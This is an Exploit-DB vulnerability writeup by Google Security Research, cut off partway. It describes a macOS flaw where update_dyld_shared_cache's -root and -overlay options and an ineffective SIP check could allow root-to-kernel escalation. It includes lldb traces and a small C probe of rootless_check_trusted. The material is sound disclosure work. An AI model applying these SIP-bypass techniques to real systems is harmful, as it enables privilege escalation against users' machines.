Exploit-DB #47708
Description: macOS 10.14.6 - root->kernel Privilege Escalation via update_dyld_shared_cache
Type: local
Platform: macos
Date: 2019-11-22
Author: Google Security Research

Exploit:
Tested on macOS Mojave (10.14.6, 18G87) and Catalina Beta (10.15 Beta 19A536g).

On macOS, the dyld shared cache (in /private/var/db/dyld/) is generated locally
on the system and therefore doesn't have a real code signature;
instead, SIP seems to be the only mechanism that prevents modifications of the
dyld shared cache.
update_dyld_shared_cache, the tool responsible for generating the shared cache,
is able to write to /private/var/db/dyld/ because it has the
com.apple.rootless.storage.dyld entitlement. Therefore, update_dyld_shared_cache
is responsible for ensuring that it only writes data from trustworthy libraries
when updating the shared cache.

update_dyld_shared_cache accepts two interesting command-line arguments that
make it difficult to enforce these security properties:

 - "-root": Causes libraries to be read from, and the cache to be written to, a
   caller-specified filesystem location.
 - "-overlay": Causes libraries to be read from a caller-specified filesystem
   location before falling back to normal system directories.

There are some checks related to this, but they don't look very effective.
main() tries to see whether the target directory is protected by SIP:

    bool requireDylibsBeRootlessProtected = isProtectedBySIP(cacheDir);

If that variable is true, update_dyld_shared_cache attempts to ensure that all
source libraries are also protected by SIP.

isProtectedBySIP() is implemented as follows:

    bool isProtectedBySIP(const std::string& path)
    {
        if ( !sipIsEnabled() )
            return false;

        return (rootless_check_trusted(path.c_str()) == 0);
    }

Ignoring that this looks like a typical symlink race issue, there's another
problem:

Looking in a debugger (with SIP configured so that only debugging restrictions
and dtrace restrictions are disabled), it seems like rootless_check_trusted()
doesn't work as expected:

    bash-3.2# lldb /usr/bin/update_dyld_shared_cache 
    [...]
    (lldb) breakpoint set --name isProtectedBySIP(std::__1::basic_string<char,\ std::__1::char_traits<char>,\ std::__1::allocator<char>\ >\ const&) 
    Breakpoint 1: where = update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&), address = 0x[PII_REDACTED]0433a4
    [...]
    (lldb) run -force
    Process 457 launched: '/usr/bin/update_dyld_shared_cache' (x86_64)
    Process 457 stopped
    * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
        frame #0: 0x[PII_REDACTED]0433a4 update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&)
    update_dyld_shared_cache`isProtectedBySIP:
    ->  0x1000433a4 <+0>: pushq  %rbp
        0x1000433a5 <+1>: movq   %rsp, %rbp
        0x1000433a8 <+4>: pushq  %rbx
        0x1000433a9 <+5>: pushq  %rax
    Target 0: (update_dyld_shared_cache) stopped.
    (lldb) breakpoint set --name rootless_check_trusted
    Breakpoint 2: where = libsystem_sandbox.dylib`rootless_check_trusted, address = 0x00007fff5f32b8ea
    (lldb) continue 
    Process 457 resuming
    Process 457 stopped
    * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
        frame #0: 0x00007fff5f32b8ea libsystem_sandbox.dylib`rootless_check_trusted
    libsystem_sandbox.dylib`rootless_check_trusted:
    ->  0x7fff5f32b8ea <+0>: pushq  %rbp
        0x7fff5f32b8eb <+1>: movq   %rsp, %rbp
        0x7fff5f32b8ee <+4>: movl   $0xffffffff, %esi         ; imm = 0xFFFFFFFF 
        0x7fff5f32b8f3 <+9>: xorl   %edx, %edx
    Target 0: (update_dyld_shared_cache) stopped.
    (lldb) print (char*)$rdi
    (char *) $0 = 0x00007ffeefbff171 "/private/var/db/dyld/"
    (lldb) finish
    Process 457 stopped
    * thread #1, queue = 'com.apple.main-thread', stop reason = step out

        frame #0: 0x[PII_REDACTED]0433da update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) + 54
    update_dyld_shared_cache`isProtectedBySIP:
    ->  0x1000433da <+54>: testl  %eax, %eax
        0x1000433dc <+56>: sete   %al
        0x1000433df <+59>: addq   $0x8, %rsp
        0x1000433e3 <+63>: popq   %rbx
    Target 0: (update_dyld_shared_cache) stopped.
    (lldb) print $rax
    (unsigned long) $1 = 1

Looking around with a little helper (under the assumption that it doesn't behave
differently because it doesn't have the entitlement), it looks like only a small
part of the SIP-protected directories show up as protected when you check with
rootless_check_trusted():

    bash-3.2# cat rootless_test.c
    #include <stdio.h>

    int rootless_check_trusted(char *);

    int main(int argc, char **argv) {
      int res = rootless_check_trusted(argv[1]);
      printf("rootless status for '%s': %d (%s)\n", argv[1], res, (res == 0) ? "PROTECTED" : "MALLEABLE");
    }
    bash-3.2# ./rootless_test /
    rootless status for '/': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /System
    rootless status for '/System': 0 (PROTECTED)
    bash-3.2# ./rootless_test /System/
    rootless status for '/System/': 0 (PROTECTED)
    bash-3.2# ./rootless_test /System/Library
    rootless status for '/System/Library': 0 (PROTECTED)
    bash-3.2# ./rootless_test /System/Library/Assets
    rootless status for '/System/Library/Assets': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /System/Library/Caches
    rootless status for '/System/Library/Caches': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /System/Library/Caches/com.apple.kext.caches
    rootless status for '/System/Library/Caches/com.apple.kext.caches': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /usr
    rootless status for '/usr': 0 (PROTECTED)
    bash-3.2# ./rootless_test /usr/local
    rootless status for '/usr/local': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /private